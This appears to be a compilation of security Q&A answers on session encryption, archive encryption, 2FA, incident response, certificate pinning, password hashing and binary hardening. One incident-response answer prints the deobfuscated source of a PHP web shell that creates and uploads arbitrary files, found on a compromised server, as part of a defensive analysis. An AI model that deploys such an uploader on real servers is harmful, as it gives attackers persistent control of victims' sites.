Encrypting your session data in PHP is a bit like locking your car and leaving your keys on the roof. Consider the threat scenarios that apply:

An attacker gains some remote access to the server and attempts to read the session data files.
An attacker steals the server's entire hard disk from the datacenter. This could be through physical theft or through accessing a virtual hard disk file in a virtualised environment.

In the first scenario, the attacker needs to gain access to the server, then either privilege escalate to root or impersonate the user that owns the session data directory (e.g. www-data for Apache, nobody for nginx). These directories have access controls applied (usually 0600 permissions bits) that prevent users other than the owner from accessing the data.

If an attacker already has access to the server and can impersonate the user that the web server daemon is running under, then they can by definition access all of the data that the web server process can access, meaning that they by definition would have access to any encryption keys that the web server or the code running under it might be using (with the exception of a HSM, although that it isn't a reasonable assumption that one would be in use here).

This means that if the attacker can read the session data files, they can also read the encryption keys, which means they can decrypt the session data. The encryption ends up being obfuscation at best.

In the second scenario, the same issue applies: if the key is on the hard disk along with the session data, an attacker can simply read the keys and decrypt the session data. The way to resolve this problem is by encrypting the session data in such a way that the keys are not stored on disk, and the correct approach is to use full-disk encryption (FDE) and manually enter the password at boot using out-of-band management (e.g. iLO, DRAC, remote KVM, etc.) so that the entire hard disk is encrypted in such a way that does not allow an attacker to gain access to any data on the disk if it is stolen.

However, even in this scenario, it may turn out that FDE isn't that much of a security gain in terms of protecting session data. The reason is that, on most platforms and configurations, session data is stored in /tmp, which is backed by a tmpfs volume. The whole point of tmpfs is that it is volatile (i.e. the data is lost on reboot) and in most cases the contents are stored in RAM. Data that is not touched for quite some time may be swapped out to disk, which is where FDE does provide a benefit towards securing session data, but the likelihood is that any old sessions will have expired before this happens. That being said, I still recommend the use of FDE on all systems as part of good security practice, because it protects against other types of data theft (e.g. infrastructure credentials, SSL certificate private keys, etc.)

The only situation in which encrypting session data in PHP makes some sense is if you have session data being stored in a database or key-value store. In this scenario you should expect that the session data will likely be nonvolatile (i.e. stored on disk) and that there might be a situation in which an attacker compromises the database (e.g. getting into an overlooked phpMyAdmin instance) but not the filesystem. In such a case the key would be on the filesystem and inaccessible to the attacker. This is, however, an exceedingly rare case.

One other argument I hear a lot is that certain data must be encrypted for compliance reasons, e.g. PAN data under PCI-DSS. The solutions here depend upon the exact system architecture, but generally speaking you fix this by either not storing the data in the session data at all, by encrypting/decrypting the data using an external broker/HSM so that the keys are isolated, or simply with FDE if you only require offline encryption of data at rest.

While I don't generally recommend it for the reasons that are discussed above, if you're set on encrypting session data in PHP for whatever reason, it's actually quite possible to do it within PHP without modifying every use of $_SESSION. You can use the SessionHandler class to override normal handling of sessions. The documentation provides a simple explanation of how you can encrypt session data.

However, you'll need a way of creating and storing the key across the session. Obviously this can't be done through the session manager itself, otherwise you'd be distributing the key with the ciphertext. My suggestion would to be use an in-memory cache, such as APC or memcache, where the key name in the cache is the session ID.


Is 7-Zip's AES encryption just as secure as TrueCrypt's version?

If implemented correctly, AES is AES; the output between two different implementations is identical, and therefore no distinction is possible in after-the-fact comparison -- if done correctly, the one is exactly the same as the other.

But there are a few points where differences can crop in:

Operation Mode
Truecrypt implements a modified counter mode called XTS. It's pretty well vetted and has withstood some serious abuse from some powerful attackers (such as the US Government).

From examining the p7zip source code, it appears that AES encoding for the 7-zip format operates in CBC mode. This is certainly not necessarily insecure; it's the mode most popularly used in protocols such as TLS, but it is potentially vulnerable to padding oracle attacks. See this discussion on operation modes for more information.

Key Derivation
Truecrypt uses PBKDF2 to turn your password into an encryption key. It's difficult to come up with a better alternative than that. p7zip uses a salted SHA256 hash repeated over a configurable number of iterations. PBKDF2 is a bit more configurable, but 7-zip's alternative is functionally similar and arguably reaches the same goals.

Vetted Implementation
Here's probably the biggest difference: TrueCrypt's code has been poured over by cryptographers and carefully examined for implementation mistakes. 7-zip's has not (at least not to the same degree). This means that there is a higher probability that 7-zip's code contains some sort of mistake that could allow for some sort of as-yet-unknown attack. That's not to say that such a mistake exists, and that's not to say that such a mistake couldn't be found in TrueCrypt instead. But the this is a matter of probability, not certainty.

All in all, the differences are minor, and for most use cases you shouldn't expect any difference at all from a security perspective. If it's a matter of life-and-death, I'd probably pick TrueCrypt. But for matters of mere secrecy, I'd recommend going with whichever solution fits your problem the best.


When it is possible to locate/trace SMS sender?

Triangulation.

All that's needed is for them to be connected to the mobile network.

The mobile network operators can look at the signal of the phone to a cell tower (which is stored in records) to determine the distance of the phone to the cell tower. If it's connected to three or more cell towers, they can get a location of the phone accurate to an area of about 3/4 square mile.

The accuracy of the location depends on some factors such as how many cell towers are in the area the technology the operator uses. If the cell towers are positioned close to the phone, the resulting location will be more accurate than the phone being located far from the cell towers.


How do Services recognise 2-Factor Authentication codes as correct?

This is done by inference.
The code the app creates is based on the current time and the key. The key is unique to your account on that service.
When you enter a 2FA code (it doesn't matter when), the service checks that code against the key for your account and authenticates you (or, more technically, it authenticates the 2FA app, but that's a side issue).
Step 3 in your process is only a convenience. If the code works, then the service can infer that 2FA was set up properly and can continue the process to mark your account as using 2FA. If this check was not done and something went wrong in setting up your 2FA app, then you could be locked out of your account. However, if the code works once, then the service can infer that all future codes should work, too.
There is no "know/recognise each other" in this process. There is only checking the code against the key by the service.


There is currently only one cold boot attack I know of that works against bitlocker. However it would need to be executed seconds after the computer has been turned off (it can be extended to minutes if the DRAM modules are cooled down significantly) but due to the timeframe of execution it's rather implausible. Bitlocker is secure as long as your machine is completely turned off when you store it (hibernate is also ok, but sleep needs to be disabled).


Securely erasing personal data from Android phone before selling

Factory resets reset your phone to a stock like state but does not remove your data, just applications. This leaves some data behind. The best way to prevent this data from being recovered is to encrypt the phone, and use wipe data/factory reset from the recovery menu. This way you don't have to download a ton of data and you can be fairly certain your things are secure.

If you're not that worried, encrypting, and data/factory reset from the recovery menu is probably enough.

EDIT: Whoops forgot to mention why the recovery mode data/factory reset. It formats the user data areas as well as the application area, and is far more thorough/secure than the one inside of the android OS and will prevent you from download junk data. It just flat out gets rid of it.

To get to the recovery console on the Nexus 5 for resetting:

If your phone is on, turn it off.
Press and hold the Volume Down and Volume Up buttons, and then press and  hold the Power button at the same time until the phone turns on. You'll see the word "Start" with an arrow around it.
Press the Volume Down button twice to highlight "Recovery."
Press the Power button to start Recovery mode. You'll see an image of an  Android robot with a red exclamation mark and the words "No command."
While holding the Power button, press and release the Volume Up button once.
Press the Volume Down button twice to highlight "wipe data/factory reset" and press the Power button to select it.
Press the Volume Down button seven times to highlight  "Yes - erase all user data" and press the Power button to select it.
After the reset is complete, press the Power button to select the option to reboot your device.


I have recovered my credit card PAN (6 chars masked) and expiration date on a merchant site, acceptable or not?

Printing the expiration date on a receipt is a possible violation of the FACTA laws in the USA. But I don’t know if it’s a violation of the PCI DSS. Check with your QSA to find out if printing expiration date is allowed.

On the other hand, if there aren’t any valid reasons for printing it, don’t! I mean really important valid reasons, not just because marketing or fraud prevention thinks it would be a good idea.


RSA signatures work like that:

To sign, the signer hashes the input messages, then puts the hash value into an ASN.1 structure (i.e. adds a fixed header to the hash value). The resulting sequence of bytes is then padded (padding details are in the RSA standard) so that the total length matches that of the RSA modulus (an element of the public key). The padded structure is then interpreted as a big integer, with big-endian convention, and the modular exponentiation of RSA is applied, with the private exponent. The result is the signature.
To verify, the verifier applies the modular exponentiation of RSA with the public exponent, which undoes the last step of the signature generation. If this yields a properly padded ASN.1 structure, and the hash value contained within that structure matches that of the input message, then the verifier declares himself content with it.

We shall note that RSA is a signature algorithm with recovery: when verifying the signature, the verifier not only obtains a boolean result ("valid" or "not valid") but also recovers the hash of the input message itself.


Safe sharing source code with 3rd party for security review?

Is this a common practice where full, unrestricted access to proprietary software source code is given to a 3rd party for the sake of security testing?

I would say yes, but with a couple of footnotes.
It's common these days to expect a vendor to do SAST and DAST scanning of their products. In my experience, most 3rd party partners are happy to accept attestation that SAST and DAST testing is part of your routine software development lifecycle (SDLC), you address any Critical and High as part of each release. etc. This duty is typically performed either by developers or by an internal appsec team. If you don't have that as part of your internal SDLC process, then your only other option is to hire an outside company to do it as a one-off security assessment.
So IMHO intellectual property concerns is not a valid a reason for not doing security testing on your products; you have the option of buying the tools and doing the scans internally.

It seems the opposite of secure when it comes to protecting your intellectual property. What precautions, if any, should be taken when entering a source code review with a 3rd party?

Any professional security testing company will be used to working with their customers' intellectual property -- and heaven forbid they find a real vulnerability in your product or accidentally get their hands on data they shouldn't have during the course of their security testing. That's all normal for a security testing company.
Make sure you have a good Non-Disclosure Agreement (NDA) in place with them -- the sec company probably has an NDA template, have it reviewed by your own legal team.
Make sure the security testing contract lays out the scope of the security test (what they are and are not allowed to test, for example list IP addresses and ports that are in-scope and that the rest of your network is out of scope). You could also put in contract language about how to handle vulnerabilities or data that they discover.


Hard disk forensics - Format & Image tracks

There is a massive number of data recovery software including:

Recuva
Power Data Recovery Free edition
TestDisk - CLI Only so a bit of a learning curve
Undelete

I have used Recuva for many of recovery tasks. It's lightweight, powerful and best of all free! It is only short sight is that it may not recover full files. If it is really important information you could always seek out professional help which, while being incredibly expensive, is often the most effective way to recover data.

Hope this helps.


What to look for in a PHP file on my server to decide whether it is rogue or not?

First things first

If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department.

Before you start analyzing your possible rogue file, start preserving information

You are going to want a clean copy of data that you can analyze to determine exactly what happened. If possible, this would include memory and hard disk images. If you don't have the ability to do that, at the very least:

run basic diagnostic commands like ps aux netstat naolp lsof and ls -alR (all as sudo). You don't have to analyze all of it now, just dump it all into a text file and copy it to another computer.
Copy off any directory you think could have been affected as you'll want to look for additional rogue files and modifications.
Grab all the log files you can, all of /var/log and apache or nginx logs, and user ~/.bash_history
Run a find search for all recently modified files, and copy them all off.

There are lots of resources for how you should respond to such a situation, but I figured I'd just give you what I would collect if I didn't have a IR Plan in place and had to act in the moment. I should also note that beacause of the possability of rootkits, these user-level tools may not give you accurate information, but if you can't grab a hard disk and memory image, it can be a place to start.

Analyzing the PHP File

As mentioned above, the file you posted has significant tells that it is malicious. I would consider the fact that it has a GIF header, but contains PHP code to be the biggest flag. Once you see that, you should start treating your server as compromised. Note: we don't yet know from the existence of the file alone how much access the attacker may have had.

But what does it do?

In order to see what the file does, I replaced every instance of eval with echo and ran the file. Before running the file, you should read the code to make sure you understand what it does. I ran it in a VM just to be sure, but since were just echoing strings, there isn't much to worry about (unless there is some php echo 0-day I'm unaware of). After running the modified code, we get the following output:

<?php
$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '
'.php_uname().'
';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea>
';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
echo '<input name="_create" type="submit" id="_upl" value="Create">';
echo '<input type="file" name="file" size="30"><input type="text" name="ufile" size="10" value="newfile.php">';
echo '<input name="_upload" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_create']){
    $handle = fopen($cfile, 'w');
    if($handle){
        if (fwrite($handle, $content) === FALSE) { echo "Create $cfile GAGAL
"; }
        else { echo "Create $cfile SUKSES !!!
"; } fclose($handle);
    } else { echo 'Create File GAGAL

'; }
}
if($_POST['_upload']){
    if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "Upload $ufile SUKSES !!!

"; }
   else { echo "Upload $ufile GAGAL !!!

"; }
}

Quickly glancing through the code, it looks like this file is used to upload other files. It appears to be common, searching google for "Create File GAGAL" has over 100 results

Some additional tips include:

Websites like UnPHP and DDecode can help analyze obfuscated scripts.
The Reverse Engineering stack exchange has a question about setting up a secure environment to analyze the script.
The best way to start is by grabbing unique strings from the text and searching for them on Google. Often, you will find other researchers have done the work for you.

What to look for next

Because someone added a file that allows them to upload or create files, you want to see if anyone used it. This is when your web server logs will come in handy. Using a tool like grep can easily determine who accessed the file and could provide additional indicators to search for. For example, you can use grep to look for quarantine_wp_protect.php:

$ grep quarantine_wp_protect.php *
123.123.123.123 - - [11/Jan/2015:07:07:43 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"
124.124.124.124 - - [11/Jan/2015:07:13:20 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 133 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"

This would indicate that the IPs 123.123.123.123 and 124.124.124.124 hit that file. You would then want to run grep scans based on that IP to see what else those IPs might have done.

There are some things to keep in mind when looking at your logs. For instance, the User Agent String (the last "" section in the example above), is client supplied and should really be considered arbitrary. Sometimes you will see useragent strings like "Googlebot" or "Yahoo", but these may not actually be google and yahoo. A good way to tell is to lookup who is registered to that IP address. For example you can use WolframAlpha to search 188.165.15.160. Wolfram reports that this IP belongs to OVH SAS in Paris, France. When you search for a legitimate google IP, Wolfram reports "Googlebot".

The log line in the comment below is:

188.165.15.160 - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-course-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +ahrefs.com/robot/)

Note that the return code is 503. This suggests that the server didn't process the request (This is not a guarantee, however, as PHP has the ability to set arbitrary return codes). What this likely means, is that after your system was compromised, it was being used to serve redirect spam. Not to get too into the weeds, but many spam systems keep track of the reputation of URLs. So an attacker can't spam people with "my-scam-nike-store.com", because of its low reputation, instead, it will compromise your website, with a good or unknown reputation, send the spam as long as it can, and move on to another victim. Your system would be used to redirect (HTTP status codes in the 300-400 range) users to the scam site.

But how did it get there?

It is most likely that you have a vulnerable wordpress plugin or some other php file being used to upload files. You will want to figure out which file is being used so you can either remove it or fix it. Hopefully, the same IP that accessed quarantine_wp_protect.php is the IP that was responsible for placing the file. If that is the case, then the IP greps mentioned above should show some activity with the vulnerable file. If no other files are shown, you can also try comparing the timestamp of the file to what was happening in the web logs at that time. (Note: as mentioned previously, that timestamp may have been changed by an attacker)

I removed the file, am I done?

No, if you can't determine the root cause, you likely won't be able to fix the problem that let the intruders in in the first place. The best course of action is to fix the vulnerable file and then redeploy (either to a new webserver or wipe the old one and resetup). The reason for this is that there are lots of ways intruders can bury themselves in your application once they have access. They can use cronjobs, startup services, or backdoor your own php files. You can go through the motions of looking for all of these things and hoping you thought of every trick they may have thought of, or you can just redeploy.

If you can't redeploy, one thing you will to do is set up a packet capture. You can use a program like tcpdump to log all HTTP traffic at the network level. This will let you see exactly what requests are coming in and what response is being sent. If the intruder is particularly clever, this could be one of the only ways of verifying that the correct data is being delivered.

nohup sudo -b tcpdump -ni eth0 -s65535 -G 3600 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap' port 80

I would recommend doing this for a day or two atleast. Be careful where you save the recordings though, as it will capture things like your wordpress username and password if you haven't set up HTTPS.

Additionally, there are many steps that may need to be taken depending on your application or business. Was customer data stolen? Did passwords get compromised? Logging can help answer many of these questions. Do database passwords or application secrets need to be changed? In most cases, you'll want to err on the side of caution and just change them.


GPG good signature but Warning: untrusted signature

Whom to Trust?

The signature could be successfully verified, that means it was really signed with the private key as announced. This key claims it belongs to "John Doe ".

Yet, your GnuPG setup does not trust in this key. Everybody could create a key for John Doe; all you know is somebody that created a key with user ID John Doe sent you this message.

Verifying Key Ownership

To be sure about whether the sender of this message is really who he claims to be (John Doe), you should get knowledge of his key id (better complete fingerprint) on another, trustfully way (it must not necessarily be secure, as only public information, namely his public key id, is transferred). After that, download and sign his key:

gpg --recv-keys 0x12345678
gpg --sign 0x12345678

All keys you signed (and thus their signatures) will be verified in future.

The Web of Trust

You can also make use of the web of trust. By putting trust on a key, signatures given by that key's owner will also be considered when verifying a key's validity. Have a look at this answer which explains trust, valid keys and the web of trust more in detail: What is the exact meaning of this gpg output regarding trust?


REST API is protected by HMAC based authentication. What does including URL path in the message protect from?

It drastically limits replay attacks, in the unlikely event that an attacker gets ahold of the request. For example, suppose a legit user sends the following request:

DELETE /basically/innocuous/trivia HTTP/1.1
Authorization: blahblahblah
...

An attacker gets access to this message somehow (maybe they control a TLS-terminating load balancer or something), before the timeout expires. The attacker now has a short-lived HMAC that they can replay, but only for DELETE requests. However, there's nothing stopping them from submitting the following request:

DELETE /totally/critical/data HTTP/1.1
Authorization: blahblahblah
...

Because the path isn't part of the HMAC, changing the path doesn't invalidate the request. Because everything else is the same (method, time [within margin], body [or lack thereof]), the request is accepted and executes with the original user's permissions!
If you instead require that the path also be part of the HMAC, all that an attacker can do is delete the same item over again. This might be awkward but is probably OK (after all, unless it was created / uploaded again, there's nothing delete now). Even if they are able to do some harm by repeatedly deleting that item, they can't delete everything else too (or at least everything they can submit requests for prior to the HMAC timestamp expiring).

Note that this scheme is still missing some things! You're not signing most of the headers, and some of those could change the server behavior. You're not signing the query string, and that could absolutely change behavior.
Take a look at AWS SigV4 for an idea of the full list of things that they consider important to include in the HMAC signature (either because they're part of the request itself, or because they're part of the signing key). It's possible SigV4 is a little over-engineered - I think some of the "layers" of HMACs might be based on older signature schemes, so there's some redundancy there which might not be needed - but it does no harm (aside from making implementation more complicated as a user, and that's what libraries are for).


At what point is password complexity "safe enough"

Security is all about balance.  There is no "perfect" answer and no "perfect" security.  You can always make things more secure, but security has a cost, typically usability.  Making good security decisions is based on making a determination about what is important to your needs, what is acceptable risk, what is necessary usability and then setting your security policies based on those needs.

For a site like Wikipedia, password security doesn't really matter since anyone could make an account and modify the same content.  There isn't (for the most part) any difference in privilege or restriction, so there isn't a big reason to want to break a password and the risk is minimal.

When dealing with banking information, then clearly the risk is much higher and the level of restriction the password grants access to is higher, so the complexity should be higher.  Similarly, anything that has the ability to cause loss of life will generally have even higher security still.


Is it security risk to host CS:GO server on my PC?

The biggest risk is probably a 0-day or simply an unpatched vulnerability in the server software of CS:GO.

Against a 0-day you are rather helpless. You can give the user running the CS:GO process as little permissions as possible. If your server gets compromised, the attacker can only act with the permission of this user, as long as he doesn't exploit a local privilege escalation as well. Being the victim of such a 0-day is not very likely, but it always is a residual risk when exposing a service to the internet.

To avoid getting compromised via an unpatched vulnerability, well, patch your CS:GO server regularly. Find out where users are informed about new patches and vulnerabilities and monitor these sources. If you cannot patch immediately, consider shutting the server down until you get to patch it.

In case you do not offer the server 24/7 and mostly play yourself, shut the server down, when it is not needed. Reducing the attack surface also means reducing the time the service is available.


Resetting the admin password for an application

The best way would be to provide a script seperate from the application which modifies the database store and resets the password of the user to one of the client's choosing (e.g. password given as argument). You should advise your clients to restrict access to the script at the operating system level to ensure no unauthorized access can occur. You can also advise your clients to perform auditing on the script's execution.


Obfuscate Identity for Password Reset Information

I believe they do this in order to prevent spammers from entering random usernames and obtaining a list of email addresses, while still reminding the set address to the legitimate user (who might have more than one account).

I personally don't see any major problem with that. Of course, someone might set up an account with an old email address, forget about it, and forget the password, with no chance of resetting it, but that is not a flaw of this mechanism.


SQLmap has no native support for Telnet, and it's not clear that it would handle typical telnet (or similar protocol) responses in a useful way: it makes use of (among other things) the status code for responses, path components of the URL and encoding of HTTP parameters in request bodies. None of these would apply to a telnet connection.

You can use SQLmap to directly scan a database management system, using the -d switch, but this uses whatever protocol the DBMS uses, and tends to require credentials to access the DBMS.


Is it a security risk to use an unknown web browser?

It is very dangerous.

You are correct in pointing out that the browser decides whether or not the connection is secure (HTTPS). The browser not only initiates the connection, it also chooses the symmetric key that will be used for the secure connection (assymetric keys are only used to set up the connection). Hypothetically, a browser could use a predefined symmetric key, and the user would still think the session is safely encrypted (even if he/she would inspect the traffic using wireshark for example). Moreover, the browser could choose to accept any certificate as valid, which is probably the easiest hack to implement.
The unknown browser could also not care about the same-origin policy, leading to authentication cookies from one domain being sent to any other domain. There's more than that to the same-origin policy, please consult this website for more information.
Several HTTP headers (control whether or not you are being iframed, strict-transport-security, etc.), which are more and more being used by web applications to obtain a 'second line of defense', will be useless. (For a complete list, consult OWASP)
Essentially, you are always victim of a MITB, thus being vulnerable for all kinds of attacks which target what you put in your browser cache, cookies, requests, etc. There are too many options for the attacker to describe.

The more I think about it, the more options are available. I agree with raz that is generally dangerous to use any untrusted software on your system.


security management and security engineering difference

Security Management is more about defining what should be done. For instance you want to have a document classification, compliance, password policy, remote access policy, ... which are preferably technology independant.

Security Engineering is more about implementing all of the defined policies into a technology.


Can sharing docker info compromise security?

Generally you wouldn't want to share any piece of enumeration info to anyone..
However if you need to share this with a vendor, I don't see a problem sharing this specific log file.


What OpenVAS tasks (scans) should I be running?

There's a couple of different approaches you can take with Vulnerability scanners like OpenVAS and they'll produce somewhat different results.

Uncredentialed scanning, you just provide the IP addresses and the scanner assesses what it can from the network perspective. What it's doing under the covers is completing a port scan and then assessing against a database of known issues for the ports that it finds as open.

You can also provide credentials to the scanner, which allows it to sign into the system and review the configuration and software installed to find more vulnerabilities.  this approach will produce a lot more findings as it'll pick up things which aren't visible from a network perspective.  However this depends on the scanner knowing about the device/OS to be reviewed, some scanners have better coverage here than others.

VA scanners can also sometimes identify new vulnerabilities by doing things like fuzzing web applications, but it's worth noting that this carries some degree of risk that the applications scanned will react poorly.

If you're looking to improve your security I'd recommend credentialed scanning as part of your security programme. It finds more issues and tends to have fewer false positives.

If your goal is more compliance oriented, then probably best to start with matching the scanning that the auditor will complete and make sure you address all the issues from that.


Sending OTP before authentication / password verification

This is certainly not normal. What it can do is protect the account from brute-force login attempts. An attacker will never know if a password is correct or not since they need the OTP from the email to be able to tell.
However, this approach has its own problems. For instance, every brute force attempt will result in you getting an email. This can flood your account and make it difficult to log in legitimately if someone is testing your account. So the site is depending on your email service to protect your account instead of using account protections themselves. And you hope that they have some protections against email floods.


Ransomware note found - cannot find encrypted files

Before restoring the system, make sure you delete those notes, then you can enable Auditing to track file changes on the folder(s) where you see those files recreated (open folder Properties->Security->Advanced->Auditing). All changes will be reported in the Security log. They will provide you with more information about the process which creates those files.

There are chances you might find the malicious process right in the log information. There is also the possibility to find an intermediary process instead (e.g. a cmd.exe which executes a script that copies files). In this case it would be best also to enable Process Tracking Auditing (this is done from Local/Group Security Policy) before those files are recreated (e.g. after system restore, boot into safe mode and enable the auditing), however this is not guaranteed to work in all cases, as it depends on how the malware gets executed when the system starts.

Last, but not least, you might need to consider the scenario in which the system snapshot you try to restore might be already infected.


Receiving strange data over SMTP where body is one line of random characters

It is probably a test to identify existing SMTP servers and/or acceptable users. So to say a first check before starting either some kind of attack or misuse (e.g. as relay).


2 - the original BCrypt, which has been deprecated because of a security issue a long time before BCrypt became popular.
2a - the official BCrypt algorithm and a insecure implementation in crypt_blowfish
2x - suggested for hashes created by the insecure algorithm for compatibility
2y - suggested new marker for the fixed crypt_blowfish

So 2a hashes created by the original algorithm or the java port are fine, and identical to 2y-hashes created by crypt_blowfish. But 2a hashes created by crypt_blowfish are insecure.

5 is sha256crypt
6 is sha512crypt

The shaXXXcrypt algorithm are inspired by bcrypt but use sha2 instead of blowfish as hash functions in order to satisfy compliance requirements in the USA.


How significant are these Dieharder results on a Raspberry pi

diehard_run is known to fail on secure RNGs. I wouldn't worry about it.


What files yield the most useful information when an attacker leverages a memory vulnerability?

There are two places you could look for evidence of such an exploit: the syslog and coredumps.

System log

I'll assume you are talking about the record of the exploit attempt itself and nothing before it (such as remote access logs), and that you have not enabled any extra logging which may track file accesses or process creation. For the exploit itself, there is typically no trace left behind in log files if the attack succeeded. The only way there would be is if it failed at least once and triggered a segmentation fault, which may be logged to the kernel log buffer (shown via dmesg), which itself is likely logged by your choice of syslog daemon.

Core files

If you have coredumps enabled, then you may be able to get a lot more information about exactly what caused the segfault, assuming you have and know how to use gdb, and have the original binary which had crashed. as processes will log their core memory to the disk upon such a crash. But just like checking the system log, this only works if the exploit has failed at least once and triggered a crash. It also does not provide any information about who the attacker is, what their vector of exploitation was, what they are after, or what they used to attack. Also remember that, unless you have a special setup, coredumps are written to the disk with the same permissions as the program which crashed, so in some cases an attacker may have sufficient privileges to erase it (and examining that act goes into filesystem forensics, which I won't go into and isn't particularly related).

Compile-time hardening

As for what I do, I compile all programs locally, so I can use compile-time security features which attempt to trigger crashes on exploitation attempts. A few examples:

UBSAN (Undeined Behavior SANitizer) - Traps various types of undefined behavior to the ud2 instruction, which is an intentionally illegal instruction and crashes the program. Some types of undefined behavior can be used to exploit a program.
SSP (Stack Smashing Protector) - Creates a secret canary on the stack and aborts the program if it is ever overwritten. An attacker who only has an arbitrary write primitive will not be able to easily exploit a program which is utilizing SSP, unless they also have an arbitrary read primitive and can read the value of the canary (and put it in his overflow code).
FORTIFY_SOURCE - A collection of header files which wrap certain functions that expect a length as their argument, like strncpy(), to add runtime checks to ensure that the maximum length is not exceeded when it is known at compile-time.
PIE (Position Independent Executable) - Adds support to an executable for addressing libraries who's base is not known at compile-time. This allows a program to make use of ASLR, which loads libraries at random addresses to make it more difficult to exploit buffer overflows.
RELRO (RELocations Read Only) - In partial mode, makes ELF sections read-only after the linker has set everything up. In full mode, additionally makes the GOT read-only.
BINDNOW - Causes libraries to be resolved at executable load time, rather than when they are first referenced, which is necessary to benefit from the full potential of RELRO.

There are more security-related features which can be done at compile-time, like CFI and SafeStack. That was just a list of some of the most popular. You can use the updated checksec script to see whether or not a binary has bee compiled with various hardening flags:

$ checksec --file /bin/bash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     13              33      /bin/bash

Log entry examples

Logs will generally only be created when the program is compiled with the correct hardening flags (with the exception of segfaults which will occur regardless of how you compile the binary). These hardening flags do not guarantee that an attacker will be unable to exploit a given binary, but it does make it more likely that an exploit will fail and possibly leave entries in logs. Some examples:

Segfault triggering SIGSEGV (in this case, a null pointer dereference):

$ gcc <<< 'void main() { char *a = 0; *a = 5; }' -x c - 2>/dev/null
$ ./a.out
a.out[24078]: segfault at 0 ip 000000720ab0b6f4 sp 000003c8ad38d170 error 6 in a.out[720ab0b000+1000]
Segmentation fault

UBSAN triggering SIGILL (in this case, an out of bounds index):

$ gcc <<< 'void main() { char a[2]; a[-1] = 5; }' -x c - -fsanitize=undefined -fsanitize-undefined-trap-on-error 2>/dev/null
$ ./a.out
traps: a.out[24130] trap invalid opcode ip:62a7e64673 sp:3be53c5fe20 error:0 in a.out[62a7e64000+1000]
Illegal instruction

Stack Smashing Protector (written only to stderr):

$ gcc <<< 'void main() { char a[2]; strcpy(a, "abcd"); }' -x c - -fstack-protector-all -include string.h 2>/dev/null
$ ./a.out
*** stack smashing detected ***: ./a.out terminated
Killed

FORTIFY_SOURCE (written only to stderr):

$ gcc <<< 'void main() { char a[2]; strncpy(a, "abcd", 4); }' -x c - -O -D_FORTIFY_SOURCE=2 -include string.h 2>/dev/null
$ ./a.out
*** buffer overflow detected ***: ./a.out terminated
Killed

But again, and I can't stress this enough, a successful exploit will not leave logs like these. You must check for signs of the original intrusion and not rely on the chance that their exploit fails.


Online banking proof of transaction for vertification in court

It doesn't prove that you initiated the transaction.  It may be evidence, but not proof that you initiated the transaction.

Read up on non-repudiation, as explained elsewhere on this site: e.g., How to achieve non-repudiation? and What is the difference between authenticity and non-repudiation?  Those pages will explain the many limitations and challenges of achieving non-repudiation.  In particular, you cannot achieve non-repudiation through technical means alone.  Even a digital signature (like RSA) would not be enough for non-repudiation.


With HPKP you can pin a certificate in a certificate chain. This is easy to do, as long as you always use the same certificate provider. For example, if you always have DigiCert certificates, you can pin the DigiCert root certificate and this gives increased security.

But what if DigiCert gets compromised? In that case you need a backup certificate key to create a new certificate, which is also allowed by HPKP. You can choose not to do this, but then when your DigiCert certificate gets revoked your users can't visit your site anymore.

So there are a few downsides to HPKP:

You need twice the certificates, with multiple certificate authorities.
You have to store the backup key securely, ready to be used to request a new certificate in case of emergency.
If you screw up your site will no longer be accessible by your users for some time.

Unless you have an airtight automated process for this, I would not recommend using HPKP.

Update: Chrome deprecates HPKP, so they also seem to think it doesn't work.


Can I get a HTTPS certificate for mymachine.cs.superuniversity.ca from "Let's Encrypt"

Short answer: yes, if you control a web server under that domain name, and Let's Encrypt external bot can access the web server, or if you control DNS records for that domain.

The DNS validation may be tough (you probably do not control the DNS server, and it may be administratively challenging to obtain the necessary DNS records). So your other option is to use HTTP validation. Citing Let's Encrypt "How It Works" article:

  These are different ways that the agent can prove control of the
  domain. For example, the CA might give the agent a choice of either:

  Provisioning a DNS record under example.com, or Provisioning an HTTP
  resource under a well-known URI on https://example.com/

If you need to do so for an Intranet-only domain, you can setup a temporary/dummy web server for certificate generation purposes, and bring it up only when renewing the certificate. I suggest just buying a public domain and getting a certificate for that domain, and pointing it to the internal IP address. Please note that doing so may expose internal IP addresses, and you should do that only after a risk assessment and after getting an approval from the university.


Is it dangerous to place ~/ssh/config on GitHub?

Typically not, but there are certain targeted attack cases where this might be useful. The more likely danger is that you'd accidentally commit some sensitive bit information that you didn't intend to have there.

If you're using github for storing personal files, do yourself (and github) a favor and pay the $7 to get private repos.


Does setting a default DROP policy actually improve security?

Employing a default DROP rule for all ports except the ones originally intended(for a website these are 80/443) reduces the attack surface of the given stations on the network. It's much more convenient(and cheaper) to drop packets instead of configuring a service so that it is secure with regards to a given policy.


Dynamic tools to detect vulnerabilities in software applications written in c?

Avalanche is a dynamic defect detection tool that generates "inputs of death" - input data reproducing critical bugs and vulnerabilities in the analysed program.
BoundsChecker is a memory checking and API call validation tool used for C++ software development with Microsoft Visual C++.
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail.
